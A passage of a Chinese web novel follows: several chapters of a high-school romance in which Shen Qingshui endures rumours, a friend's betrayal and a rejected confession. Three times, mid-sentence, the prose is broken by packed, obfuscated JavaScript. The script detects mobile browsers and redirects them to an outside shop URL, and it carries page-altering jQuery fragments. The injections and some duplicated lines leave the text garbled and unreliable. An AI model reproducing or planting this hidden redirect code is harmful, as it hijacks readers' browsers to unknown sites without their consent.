魏之言摇摇头,把手上最轻的一个袋子递给沈青水:“没事的阿姨,我帮您提进去吧。” 母亲没再阻拦,只是侧身让开时,眼神仍像钩子一样刮过沈青水。 魏之言拎着最重的袋子走在前面,沈青水跟在后面,小声抱歉道:“见笑了。” 进了屋,母亲没顾上接东西,先冲去厨房看电饭煲,见插头果然没插,又要开口骂,魏之言适时把袋子放在桌上:“阿姨,我帮您放到冰箱旁边吧?” 母亲的话卡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686439|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在喉咙里,脸上勉强挤出点笑:“麻烦你了同学,快坐,阿姨给你倒杯水。” 转头却狠狠瞪沈青水,嘴型无声地说“还不快去做饭”。 沈青水刚要转身,魏之言却开口:“不用麻烦阿姨,我马上要走了。” 他看向沈青水,眼神里藏着安抚,“沈同学,明天早自习我帮你带本英语单词书,咱们一起背?” “好……”沈青水点头,指尖悄悄松了些。 母亲送魏之言到门口时,语气热络得不像刚才:“同学常来玩啊,青水这孩子笨,你多带带她。” 等魏之言的背影消失在巷口,她脸上的笑立刻垮下来,抓起桌上的抹布就朝沈青水扔过去:“还愣着干什么?电饭煲插上!酸奶拿出来!你弟还有十分钟就到家了!” 电饭煲“嗡”地开始工作,酸奶在桌上冒着冷气,沈青水靠在厨房门口,望着窗外慢慢暗下去的天。 她叹口气,觉得自己身上有千斤重。 这时,巷口传来沈沐风打闹的声音,母亲立刻迎出去,语气瞬间软下来:“沐风回来啦?快洗手,酸奶给你拿出来了,可能还是有点冰,过会儿再喝啊。” 母亲注意到沈沐风手里拿的自行车钥匙,沈青水以为母亲要质问了,刚想替沈沐风解释,却听到母亲说: “沐风今天骑的自行车啊?这辆本来就想给你的,要不是你姐上学就给你了。” 沈青水有些无力的虚叹一口气,转身回厨房佯装没听到。 “姐~”沈沐风突然跑过来。 “干嘛。” “酸奶帮我喝掉呗,我不喜欢,妈去换衣服了。” 沈青水盯着沈沐风递来的酸奶,盒壁上的水珠沾了他的指尖,又滴在厨房瓷砖上。 她想起母亲刚才说“你弟回来要喝酸奶”时的急切,现在却成了他随手丢弃的东西,心里像被什么东西硌了一下。 “不喝,妈给你买的。”她转身去擦灶台,声音没什么起伏。 沈沐风却不依,把酸奶往她手边一放,语气带着惯有的理所当然:“你喝了呗,放那儿也是浪费,妈说了要让你多照顾我。” 说完没等她回应,就跑回客厅看电视,遥控器按得噼啪响。 她把酸奶放回冰箱,刚关上门,就听见母亲在客厅喊:“沈青水!饭蒸好了没?我要炒菜了!” “好了。”她应了一声,从冰箱里拿出鸡蛋然后离开厨房。 擦肩而过时,母亲想起刚才的事情忍不住数落。 “又跟男生一起学?”母亲的语气带着审视,“我跟你说,女孩子别总跟男生凑那么近,传出去不好听!有这时间不如给沐风补补数学,他上次测验才考六十多分。” 沈沐风从电视屏幕前探出头,嘴里还叼着零食:“就是,姐你数学那么好,教我几道题呗,不然爸回来又要骂我。” 沈青水踹他一脚,把沈沐风踹的“嗷嗷”直叫。 “我跟哥的数学就没差过,怎么你的数学这么差?” “沈沐风,你是我亲弟弟吗?” “怪我喽。”沈沐风倒是一脸无所谓,继续盯着他的电视,又贱兮兮的凑到她跟前:“姐,你是不是喜欢那个叫魏之言的男的?” 沈沐风还探究的摸摸下巴:“感觉他也不像你的菜啊。” 沈青水懒得理他甩下一句“你管我”回房间。 她打开电脑进入漓中论坛搜索“方谨呈”“尚诗情”几个字。 论坛页面加载出大片蓝色,置顶帖还停留在去年校庆时的照片,方谨呈穿着校服站在领奖台中央。 但是没有尚诗情的照片,论坛里有人说这个学姐为了救人死了,很可惜。 她翻到了一张方谨呈和尚诗情的合照,楼主叫@哥的冷酷零下八度。 两位并肩站在领奖台上,很配,绝配。 沈青水想象着有朝一日她也能跟魏之言并肩,校园论坛也会有很多人说他们很配。 4. 青青子衿 “都心照不宣,多少有些遮掩。” ——《小尖尖》 返校那天英语老师来找沈青水谈话。 其实她真的除了数学什么都不行,特别是英语。 数学班级第一,英语班级倒一。 关键是两位老师的办公桌还连在一起,每每听到数学老师喜笑颜开的夸沈青水都会把英语老师气得牙痒痒。 英语老师看到沈青水的英语成绩差点一口气没喘上来。 “沈青水,你是打算把学费全砸给数学?其他科目都当摆设?”英语老师指尖点着试卷,声音里裹着压抑的火气,“我教了二十年书,没见过你这样偏科偏到‘走火入魔’的,再这么下去,我这寿命都得被你气短两年。” 沈青水垂着眸站在桌前,颇为委屈地淡淡“嗯”了一声,指尖摩挲着校服袖口。 英语老师看着她这副冷淡模样,倒也没真动气——这姑娘虽上课爱走神打瞌睡,却从不在课堂上捣乱,性子冷归冷,没半分恶意。 临出门时,英语老师叫住她,语气缓了些,带着点犹豫:“有件事……校里最近传你‘霸凌同学’,是真的?” 沈青水脚步一顿,抬眼时眼神里没什么波澜,只有几分直白的茫然:“霸凌?”她顿了顿,又重复一遍,“没。” 英语老师看着她坦荡却冷淡的神情,心里有了数,摆了摆手:“我知道了,你最近留意点,校领导正抓这事。” “知道了。”沈青水微微颔首,没多余的道谢,也没追问传言来源,转身径直走出办公室,门板“轻叩”一声合上,背影依旧利落,没带半分拖泥带水。 午休的走廊里,几个女生的声音像苍蝇似的绕着沈青水转。 “听说没?沈青水昨天堵了初二的,还抢人零花钱……” “我妈说她就是‘混混头子’,跟男生走那么近,指不定干了什么呢!” “数学考第一又怎样?心术不正有什么用……” “诶诶,听说她还喜欢魏之言。” “什么?这个J人!全校谁不知道我喜欢魏之言,她居然敢!” 声音不大不小,刚好能穿透半开的教室门,像针一样扎进寂静里。教室里瞬间安静下来,几道目光齐刷刷落在沈青水身上,带着好奇、探究,还有几分隐晦的看热闹。 沈青水眉头紧锁,这是她生气的惯有动作,攥着课本的手越收越紧。 贾欣欣“啪”地放下笔,撸着袖子就要冲出去理论,却被沈青水一把拽住手腕。她抬眼,眼神里没什么波澜,只淡淡吐出两个字:“别去。” 沈青水一把拉住她,眼神中流露出不在乎:“别去。” 可心底那点平静,早被最后那句“喜欢魏之言”搅乱了。 是谁传的?无凭无据,怎么就扯到他身上了? 议论还在继续,十分钟里,谣言像滚雪球似的疯长,从“抢零花钱”变成“有视频为证”,甚至编出“被害人已经报警”的瞎话。 沈青水顺着门缝瞥出去,说话的女生里,李娜笑得最得意——上周数学竞赛名额被她抢走,这人怕是憋了一肚子气,正等着看她难堪。 沈青水松开贾欣欣的手,打开教室门。 李娜见她过来,还装模作样地往后躲:“你、你想干什么?我可告诉老师了!” 沈青水盯着她不说话,李娜虚张声势地转身要走,却被她叫住,声音平静没什么起伏,却带着不容置疑的压迫:“李娜,滚远点,我就不动手。” “李娜,你滚远一点,我就不打你。” 说完她转身要回教室,身后传来熟悉的声音。 “青水!” 李娜跑走了,她回头一看,果然是哥哥沈望川,旁边还跟着他那个总挂着温和笑容的兄弟容霁。 沈青水之前觉得他的性格好像魏之言。 “呦,沈大小姐又被造谣了?”容霁先开了口,语气里带着点调侃。 “什么叫‘又’?”沈青水和沈望川同时皱起眉,异口同声地反驳。 容霁立刻举起手投降,笑着打圆场:“我的错我的错,口误,口误。” 沈青水没接话。 初中时,关于她是“混子”的谣言就没断过——其实真正在街面上跑的是沈沐风,可不知怎么,脏水全泼到了她身上。 那时候沈望川在另一所中学,从不知道这些。 沈望川的脸色沉下来,盯着她的眼睛,语气严肃:“下次这种事情不要动手。如果是无关紧要的谣言听听就好了,不要影响你的心情,如果很严重就来找我。” “那其实不是很严重。” “都传到高二了还不严重?” 沈望川伸手,指尖轻轻碰了下她的手,语气软了不少,“刚才容霁在楼上听见这边吵,说好像有你名字,我就上来了。” 容霁在旁边帮腔,依旧是温和的笑:“就是,你是不知道,刚才她那话术我们在楼梯口就听过一遍了,纯属瞎编。” 沈青水有点不自在。 她早就习惯了自己处理这些事,突然被沈望川这么护着,倒还有点别扭。 她踢了踢脚下的矿泉水空瓶:“我也没吃亏嘛。” “对了,”容霁像是突然想起什么,看向沈望川,“刚才好像看见魏之言往这边走,不过瞥见我们过来,又转回去了,估计是不想打扰你们兄妹说话。” 沈望川点头:“嗯,刚才来得急,没注意到他。” 魏之言? 沈青水猛地抬头,眼里闪过一丝慌乱——他们怎么认识魏之言?他刚才来过?是找哥哥的吗? 她这副模样,全落在容霁眼里,他嘴角弯了弯,眼里闪过一丝了然,却没点破,只是笑着转移了话题。 上课铃突然响起,尖锐的铃声划破走廊的安静。沈望川拍了拍她的肩:“快回教室吧,别迟到了。记住,以后有事别自己硬扛,我和容霁都在高二,下楼就能找到我们。” 沈青水点点头,看着沈望川和容霁的身影消失在楼梯口,才转身回教室。 走廊里的风从窗缝钻进来,吹得她的短发轻轻晃,心里却乱糟糟的——魏之言来过,他和哥哥认识,那他……刚才是不是也听到那些谣言了? - 接下来的半个学期照常,忙碌之下沈青水和魏之言没什么交集。 只是在学校里偶然碰见了会打招呼,沈青水不再避着他。 9月28号魏之言生日那天沈青水给他柜子里塞了支钢笔,她发现六班没什么动静,难道没人知道魏之言的生日? 她天天往各科老师办公室跑,早自习去背单词,午自习去练物理,晚自习去背化学,甚至睡觉的时候偷偷打开手电筒记生物知识点。 这两周的周测效果却不怎么样,她的数学也不是时时能考第一。 但是魏之言能。 他数学能考第一,总成绩也能第一,这两周结束的联考还是第一,甚至是全区第一。 怎么会有人成绩这么好? 真的有人成绩这么好。 沈青水发现魏之言总会带个什么用来背书,她也学着这样。 她把英语单词作为一张张的卡片,下课背,吃饭背,什么时候都背。 只为跟上他的步伐,为了跟他去北京。 那天下课她去英语老师办公室背单词,偶然听见对话。 “听说你喜欢二班那个沈青水?” “啊?谁说的?” “看来不喜欢啊,没事,我听说的。” “嗯。” 沈青水就在他们旁边擦肩而过,魏之言没注意到她。 沈青水的心像是被什么扎了一下,刺痛的,慢慢扩散到周围。 她没去背单词,踌躇半天回班了。 但是经过一个上午,她又想开了,魏之言又没有明确表示不喜欢。 况且他也不反感,总有机会的。 于是中午去练物理题的时候,顺便又把早上的英语背了。 因为魏之言说了要一起去北京啊。 沈青水发现自己的卷子上多了许多批注,哪道题目要注意什么知识点写的清清楚楚,应该是老师写的。 老师这么看重她,她又怎么能因为这个而放弃呢? 走廊的喧嚣里,几句议论像淬了冰的针,猝不及防扎进沈青水耳里。 “那女生跟魏之言什么关系啊?看着挺亲密的。” “不会是女朋友吧?” 她循着声音抬眼,视线撞进不远处的画面——贾欣欣正挽着魏之言的胳膊,两人并肩走着,阳光落在贾欣欣笑弯的眉眼上,刺眼得很。 沈青水的瞳孔骤然收缩,指尖无意识攥紧——她以为会是上次校门口瞥见的陌生女生,却从没想过,是日日黏在她身边的贾欣欣。 “不是说魏之言喜欢沈青水吗?” “拉倒吧,贾欣欣亲口跟我说的,是沈青水像舔狗一样缠着魏之言。” “她们俩不是关系很好吗?” “好什么呀,贾欣欣说沈青水特能装,爱摆架子还爱刷存在感,要不是可怜她,根本懒得跟她做朋友。” 每一句话都像重锤,砸得沈青水脑子发懵。 贾欣欣?怎么会是贾欣欣?那个总拉着她胳膊说“青水你真好”、遇到麻烦第一个躲到她身后的女生? 贾欣欣?怎么能是她? 讨论的两个人走远了,沈青水还没有回过神,她僵在原地,心口像堵了团浸了水的棉花,又闷又疼。 “怎么了,沈大小姐?”容霁的声音在身边响起,带着点温吞的笑意,他把手里的巧克力蛋糕递过来,“发什么呆呢? 沈青水转过来摇了摇头,“没事。” 容霁看过去,什么也没有,魏之言早就走远了。 他没多问,只是把蛋糕往她手里塞了塞,笑着说:“那赶紧接好,生日快乐啊,沈大小姐。” 10月26号,她的生日。 若不是沈望川和容霁记着,她自己都快忘了。沈青水扯了扯嘴角,勉强挤出个笑容:“谢谢,我回去了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686440|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >走到班级门口,贾欣欣正站在走廊栏杆边,见她过来,立刻笑着迎上去:“青水,你刚才去哪了?我找了你好……” “滚。” 一个字冷不丁砸出来,贾欣欣脸上的笑容瞬间僵住,眼里飞快涌满泪水,像受了天大的委屈,难以置信地看着她:“青水……你、你干什么?” 沈青水皱了皱眉,心底翻涌着烦躁。 这点场面就哭?造谣她时、在背后捅刀子时,怎么没想过会有今天?她没再看贾欣欣一眼,语气冷得像冰:“滚远点,越远越好。” 说完,径直走进了教室。 这件事很快又在学校里传开,添油加醋后,更坐实了她“脾气暴躁、动辄伤人”的混混名号。 沈青水偶尔会后悔,不该那么冲动,平白给了别人嚼舌根的由头。 可转念一想,又觉得不后悔,背叛这种事,她向来学不会轻易原谅。 只是魏之言……自那天之后,他像是把自己埋在了教室里,整日刷题学习,她再也没在走廊或操场偶遇过他。 学霸都这样吗?他有没有听到那些关于她的传言?听到了,会信吗? 这些问题像细小的藤蔓,悄悄在她心底缠了一层又一层。 某天午休,她不知不觉走到了荣誉榜前。 玻璃橱窗里,尚诗情的照片笑得耀眼,旁边是同样优秀的方谨呈,两人的名字并列在年级前十的位置。 沈青水抬手,指尖轻轻碰了碰冰凉的玻璃——有朝一日,她的名字也能出现在这里吗?那样的话,是不是就没人再只盯着“混混”的标签看她了? - 高中第一个学期的下半个学期,11月了,天很冷。 天黑的也很早,一次放学的路上她看到安茹佳被一群人围在巷子里。 “放开她。”沈青水攥着书包带,喝斥一声。 为首的黄毛转头瞥她一眼,嗤笑着伸手推她肩膀:“小丫头片子少多管闲事,不然连你一起揍。” 沈青水没躲,反而借着对方推搡的力道,抬脚狠狠踹在黄毛膝盖上。 黄毛痛得弯腰,她把书包往旁边一扔,用手上的发圈将稍长的发尾扎紧。 随即迅速抄起路边的断扫把,朝着围上来的人挥过去。 几人似乎没料到她的力气会这么大,其中一个被掀倒在地。 沈青水猛地抓住另外一个的头发,混混痛得弯下身,沈青水用膝盖狠狠顶向他的肚子。 混混瞬间像被抽走力气,捂着肚子瘫在地上,疼得哼唧着说不出话。 沈青水松开手,眼神扫向剩下几个不敢上前的人:“还要接着来?” 黄毛站起身准备继续打,后面的小跟班慌慌张张地拉住他,凑到他耳边结巴道:“老大……她、她好像是沈青水。” 黄毛听见“沈青水”三个字,原本狰狞的脸色瞬间僵住,他上下打量着眼前的女生,眼神从轻视慢慢变成了忌惮。 “原来是青姐啊,”黄毛干咳两声,飞快收起刚才的嚣张,甚至还往后退了半步,朝着地上的小跟班使了个眼色,“误会,都是误会!我们就是跟这位同学闹着玩呢。” “道个歉,然后滚。” 黄毛哪还敢反驳,连忙拉着身边的人走到安茹佳面前,含糊地说了句“对不住”,接着就像被针扎了似的,带着一群人跌跌撞撞地跑出了巷子,连回头都不敢。 沈青水因着成绩的事一脸烦躁,他们也很识相走得很快。 只剩地上瑟瑟发抖的安茹佳。 沈青水上前向她伸出手。 安茹佳抬头时,睫毛上还挂着没掉的泪珠,看到是沈青水,眼里先是愣了一下,随即慌忙擦了擦脸,犹豫着把冻得发红的手放进她掌心。 “沈青水你整我……” 安茹佳抽泣着哀怨道。 “我要是整你就不会救你。” 安茹佳怔怔地看着她。 沈青水把手放她面前晃了晃:“走吧,我送你回家。” 两人并肩往巷口走,冷风刮在脸上,安茹佳忽然说:“青姐?” 沈青水正无聊的提着路边的石子,听到此话有些意外:“嗯?” “我以后就这么叫你。”安茹佳说。 沈青水轻笑一声:“你还挺自觉的嘛。” “对不起,我以前这么说你。” “没事。” “其实……” “怎么了?” 安茹佳突然很快速地说道:“其实你在学校的那些谣言都是贾欣欣说的,很多人都知道,但是他们不敢跟你讲。” 沈青水看到安茹佳家门口了,笑着摇摇头:“我知道,我不怎么在意啦。” “你明明就很在意……”安茹佳小声嘀咕着,不等沈青水的反应,转身跑回去,“再见。” “再见。” 沈青水看着她的身影跑远,直到消失不见。 她在意的,当然在意。 更多的是不想魏之言听到。 听到了他会信吗? 5. 青青子衿 “他说明明好像感觉拥有一切,却又随时感觉正在失去一切。” ——《张宇宙》 自那以后,安茹佳天天粘着沈青水,好似是她的再生父母。 路上听到有人议论沈青水也会直接怼回去:“你住她下铺啊,这么了解她!” 沈青水疑惑:“你为什么态度转变这么大?” 安茹佳一边把酸奶递过去一边回答:“喜欢你啊青青~” 沈青水:“……” 这样一直到十一月中旬,漓中为给高二的数物竞赛做准备要求参加竞赛的学生补课。 沈青水因数学成绩优异,再加上物理补上来不少有幸参与。 其实也不那么有幸。 漓中两个星期休一次,每次从周五晚上放到周日晚上返校,竞赛生要从星期六早上八点待到下午四点。 安茹佳周五放学信誓旦旦地说会来看沈青水的,结果一天都没看到人影。 给出的解释是睡过了,不过周天带了一杯奶茶赔罪。 周六上午沈青水赶到学校的时候离上课只剩一分钟,很不幸最终还是迟到了。 她进班的那刻鸦雀无声,显然同学们已经受过老师爱的教育了。 “你什么情况?” “我——” 沈青水有点尴尬,这么多人看着她。 她刚想说话,门口出现了魏之言的身影。 她一时间有些不知所措,直到魏之言进班老师连他一起骂。 要不是路上被沈沐风那个小兔崽子耽搁了一会儿她现在怎么会站在这里。 数学老师是高二的老师不认识他们,只当是两个不听话的学生,让两人在门口站了十分钟。 十一月的漓乡裹挟着湿冷的风,风从教学楼走廊的窗缝里钻进来,卷起沈青水校服下摆的一角。 她垂着眼盯着地面砖缝里的枯草,余光却忍不住往身旁扫。 魏之言靠在墙面上,指尖摩挲着书包带子,绿色的校服被风衬得愈发干净。 两人之间隔着半臂的距离,却像有细密的暖意悄悄漫过来。 “你——” “我——” 两人皆是一愣,望向对方。 沈青水的话卡在喉咙里,耳尖先于思维泛起热意。 她看见魏之言眼底晃过一丝怔忪。 随即他弯了弯唇角,轻轻一笑,只轻声说:“你先说。” 风又从走廊上卷来,卷起他额前的碎发,露出一点干净的眉眼。 她深吸了口气,把到了嘴边的“你也被耽搁了吗”换成了“你跟我一起站在外面好像很没面子”。 魏之言立马接上:“怎么会?” 有些手忙脚乱的感觉,但是不知道在忙什么。 两人又沉默了一会儿。 沈青水开口:“魏之言我……” 老师这个时候出来了,脸色不大好的样子。 听说是刚认人点到数学第一二名有人告诉他一二名在门外站着。 “你们两个,进去。” 沈青水突然有点想站在外面了,但是魏之言立马直起身走进班,她也跟着进班。 我喜欢你。 最终还是没有说出口。 沈青水跟着魏之言走进教室时,全班的目光都黏在两人身上。 方才老师骂得凶,此刻却没再多言,只指了指最后排靠窗的两个空位:“下次注意时间,坐那儿。” 这个数学老师的课有点无聊,沈青水看到不会的题听一下,看到会的题就不听,在笔记本最后一面圈圈画画。 良久,魏之言把他的笔记本推过来,问:无聊? 沈青水飞速在上面写上:是的,我都会了。 魏之言:那我们下五子棋? 沈青水捏着笔的指尖顿了顿,飞快扫了眼讲台上正写板书的老师,写了个“好”字。 魏之言先落子在中间,沈青水瞥了眼,抬手在斜对角落下一颗,动作干脆。 两人的棋子在纸上无声蔓延,她故意在右侧留了个缺口,眼皮都没抬一下,仿佛只是随意走了步棋。 果然,他笔尖顿了顿,却没堵那个缺口,反而在旁边补了颗子,像是故意让着她。 沈青水眼角余光扫到,没什么反应,只在老师转身写公式的间隙,飞快将棋子落进缺口。 魏之言侧头看了她一眼,眼底盛着笑意,在笔记本上写:输了要罚吗。 沈青水刚要落笔,老师突然转过身。 她手速极快地将笔记本推回去,随即垂下眼,手指捏着课本边缘,姿态端正,脸上没什么波澜,仿佛方才的互动从未发生。 老师扫了最后排一眼,没发现异常,又转了回去。 等老师转回去,她才重新拿过本子,笔尖在纸上画了个极简的奶茶杯。 抬眼时正好撞上魏之言的目光,她没躲,也没笑,只是淡淡瞥了眼,便收回视线。 他的眼里盛满笑意,让十一月的湿冷风都好像暖了几分。 他的笑容让沈青水鬼使神差地在本子上写下:是不是有很多人向你表白。 魏之言看到那句话时,握笔的手顿了半秒,笔尖在纸上轻轻点出个小墨点,然后回复:之前是。 沈青水的指尖轻轻颤抖,捏笔的力道重了些,墨色在纸上压出浅浅的痕:你答应过? 魏之言写上:没有。 沈青水看到“没有”两个字,立马抬头看黑板平复心情,笔尖悬在纸上半天没落下,连呼吸都放轻了些。 她偷偷斜眼,正好看见魏之言也在看她,眼神清亮,带着点不易察觉的期待,像在等她接下话茬。 笔尖悬了两秒,又落下去,写上:为什么? 她的心跳加快,难不成是混了这么久,第一次遇到让她这么心动的人? 下一秒,魏之言写上:不想谈恋爱。 “不想谈恋爱”五个字落在纸上,沈青水捏着笔的手指猛地收紧,指节泛白,才还雀跃的心跳像是被按了暂停键。 她接过笔记本迅速写上:我也是,不怎么想谈恋爱。 她的心像在滴血,那五个字像根刺扎进她的心里。 碰巧,老师点魏之言回答问题,对话也就这么结束了。 沈青水的心像是被一只手握住了,无法跳动。 好不容易挨到下课铃响,沈青水靠在椅背上缓缓吐出一口气。 “下节课继续?”魏之言收拾书桌的动作顿了顿,声音很清风三月。 沈青水点点头说:“好。” 他的背影跟人勾搭着离开,只不过是课间的十分钟,沈青水却感觉自己的心空了,再也补不回来的。 其实他们只是同学,其实他们只是朋友,他岂是她能轻易得到的。 她其实什么都没有。 要不要勇敢一次呢?她对自己说。 后续到十二月下旬,后续的所有培优班,沈青水和魏之言的交集都是下五子棋——或是聊天。 聊些乱七八糟的无关紧要的,上至嫦娥奔月女娲补天下至数学简单英语好难。 沈青水的成绩终于有了起色,从刚开学的班级第三十到班级前五。 有时安茹佳还会疑惑:“青青?不是说不喜欢培优班吗?怎么现在兴致高涨?” 因为那是唯一能跟他坐在一起的机会了。 不,也不一定,说不定下个学期的分班,他们能分到同一个班呢? 想到此,沈青水拿出她的课本继续背单词。 傍晚的风裹着残阳的余温,漫过教学楼的栏杆,把沈青水的碎发吹得贴在耳后。 她和安茹佳并肩趴在冰凉的金属栏杆上。 沈青水跟她说:“我想表白。” 安茹佳手里的橘子都差点掉下去,转头盯着沈青水,眼睛瞪得溜圆:“真的吗?跟魏之言?” 沈青水连忙捂住她的嘴示意她小声。 “就……觉得再不说,以后可能没机会了。” 风卷着傍晚的凉意吹过来,把沈青水的碎发吹到耳边,带着点说不清的委屈。 安茹佳用指节轻轻戳了戳她的后背,把还带着自己体温的橘子塞进她手心:“怕什么?喜欢就说啊!你这次月考都冲进年级前五了,现在的你跟他超配的!” 橘子皮上的清香漫开来,混着风里的落日气息,暖着沈青水微凉的指尖。 “我想试试。” “试什么?”容霁刚好经过这边听到了这句话。 沈青水摇摇头,安茹佳却直接给她全盘拖出:“青青想跟魏之言表白了!” 容霁顿了一下,把手上的牛奶给沈青水,笑着说:“好啊,到时候我给你送花。” “你不要上课吗?”沈青水问。 容霁看了眼手表上的日期:“你要是这个星期六向他表白的话,我们刚好放假。” 沈青水握着温牛奶,抬头望了眼快要沉尽的落日,橘色的光落在她脸上,把那点犹豫都晒化了。 她轻轻点头,声音里终于有了真切的期待:“那好,就这个星期。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16686441|188851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风还在吹,栏杆旁的影子被夕阳拉得很长,那句藏了许久的心意,随着这傍晚的风,悄悄酿进了渐沉的暮色里。 - 那天上午的课调到了晚上,沈青水问魏之言愿不愿意送她回家。 毫无疑问,魏之言是愿意的。 临近跨年,寒风一阵阵卷来,沈青水理了理围巾,想到等会儿要干什么还有点紧张。 路灯一盏盏亮起来,把两人的影子在人行道上拉得忽长忽短。 沈青水今天格外反常,总先于魏之言几步,背着身倒着走,皮鞋跟碾过路面的碎雪,发出细碎的咯吱声。 她把围巾缠得更紧,藏在绒线里的手反复攥着边,几次想开口,都被魏之言的话打断。 他在说昨天竞赛题里的巧妙解法,又聊起漓乡冬天会结薄冰的小河,语气轻松得像在说寻常小事。 青水巷的巷口就在眼前,昏黄的灯牌在寒风里晃了晃。 沈青水心一横,往前追了半步,刚要开口:“魏之言我喜……” 魏之言却猛地顿住脚,目光越过她的肩,飞快扫过巷口那片阴影,脚步下意识往后撤了撤,像是被什么惊到了。 “我就送你到这儿吧,”他的声音比刚才急了些,指尖攥了攥书包带,“我妈发消息,让我早点回去帮忙。” 沈青水倒着走的脚步骤然停住,鞋跟磕在路沿上,心里那点揣了一路的热意,像被寒风兜头浇了盆凉水,瞬间凉透了 她往前走几步抓着他的衣袖,还想再说点什么。 哪怕只是“再走两步”,却见魏之言已经拎起书包带,往后退了半步甩开她的手。 “我先走了,你进去注意安全。”他的语气里藏着她从未听过的仓促,像在避开什么烫手的东西。 话音刚落,他转身就往另一条路走,背影在路灯下显得格外匆忙,甚至没等沈青水再说一句“再见”。 沈青水站在原地,风卷着碎雪扑在脸上,疼得她眼眶发涩。 看着那个越来越远的背影,她突然像是被什么推着,朝着风里大喊:“魏之言我说我喜欢你!” 魏之言的背影分明还清晰,沈青水不知道他听到没有。 泪意涌上,沈青水有些后悔,他的背影消失得越来越快,他肯定听到了。 寒风凛冽痛彻心扉,一路上,行人都在感叹初雪美艳。 她站在原地,嘴唇抿成苍白的线,只有在心里一遍遍地喊他的名字。 那声音在胸腔里撞得发疼,明明声振如雷,却连自己的耳膜都穿不透,只能困在心底,和着寒意一起发酵。 沈青水微微歪了歪头,想把眼眶里的湿意逼回去,眼泪却还是顺着眼角滑下来。 她猛地回头。 青水街巷口的空地上,几十根白蜡烛摆成了心形,火苗在寒风里颤巍巍地亮着,容霁手里捧着束玫瑰朝她走过来。 “还……要吗?” “给我吧。”她接过玫瑰,花瓣上还沾着容霁手心的温度,转身就往巷口跑,冷风灌进衣领,吹不散胸腔里最后一点残存的侥幸。 她左右张望,不知道他走的哪边,但是她记得他家的方向在左边。 沈青水攥着那束玫瑰,慢慢向左边踱去,冷风灌进喉咙,带着刺痛。 模糊中看见不远处路灯下站着两道身影——魏之言的绿色校服格外显眼,旁边还站着个穿米色外套的女生,正仰头跟他说着什么。 她的脚步顿住,心脏像被狠狠攥住。 还没等她上前,就看见魏之言从口袋里掏出什么,递到女生手里——那是颗橘子味的硬糖,是他之前常递给她的那种。 女生接过糖笑了笑,魏之言也跟着弯了弯唇角,那笑容对沈青水也有过,原来他的温柔不只对她。 她曾以为那是独一份的温柔,原来不过是他随手予人的寻常。 沈青水没有丝毫犹豫,抬手就把玫瑰扔进了垃圾桶,金属桶壁发出“咚”的一声闷响,像敲在沈青水心上。 花瓣从桶口掉出来两瓣,落在雪地里,很快被寒风卷着滚远。 然后转身离开,不再犹豫。 多可笑啊,那个让她在青水街收起所有棱角,把向来冷得像块冰的自己,磨成会揣着橘子紧张、对着背影喊喜欢的傻气模样的人,原来从来没把她的心意当回事。 他的温柔是撒向所有人的,她却当了真。 她讨厌他。 讨厌他给过的虚假暖意,更讨厌那个被这份暖意骗得丢了自己的、蠢笨的自己。 6. 青青子衿 “感情就是这样,怎么一不小心太疯狂。” ——《说散就散》 自那夜扔了玫瑰后,她再没主动找过魏之言。 培优班的课照旧,两人还是坐在最后排靠窗的位置,只是不再下五子棋,也很少在笔记本上写字聊天。 他偶尔会递来整理好的竞赛错题集,她接过时道声“谢谢”,声音清淡得像窗外的湿冷风,他亦只是点点头,转头继续听老师讲题。 安茹佳总担心她闷着,课间拉她去操场散步,却发现她不再频频往理科班的方向望,反而会指着天边的云说“像块棉花糖”,语气里没了从前的拧巴,倒多了几分松快。 一月初的竞赛初赛如期而至,考场设在邻市的中学。 沈青水背着书包走进考点时,恰好撞见魏之言和那个穿米色外套的女生站在公告栏前说话。 女生手里捏着瓶热牛奶,递到魏之言手边,他没接,只侧身指了指公告栏上的考场号,女生笑着点头,转身往教学楼走。 沈青水的脚步没停,径直从他身边走过,余光里瞥见他转头看了她一眼,她却没回头,像踩过一片无关紧要的落叶。 竞赛结束那天傍晚,漓乡又下起了雪。 沈青水和安茹佳在车站等车,容霁不知从哪儿冒出来,手里拎着三杯热可可,塞给她俩时呵出白气:“刚在旁边便利店买的,暖手。” 高二的复赛也在今天。 安茹佳欢天喜地接了,沈青水握着温热的杯子,抬头看见容霁耳尖冻得发红,忽然想起他那晚捧着玫瑰站在寒风里的模样,轻声道了句“谢谢”。 “你哥陪他小女朋友去了。”容霁像是知道沈青水在想什么,索性直接告诉她。 车来的时候,雪下得大了些。 容霁看着她们上车,叮嘱道:“路上小心,到家给你哥发消息。” 沈青水点头,刚要上车,身后忽然传来熟悉的声音——是魏之言。 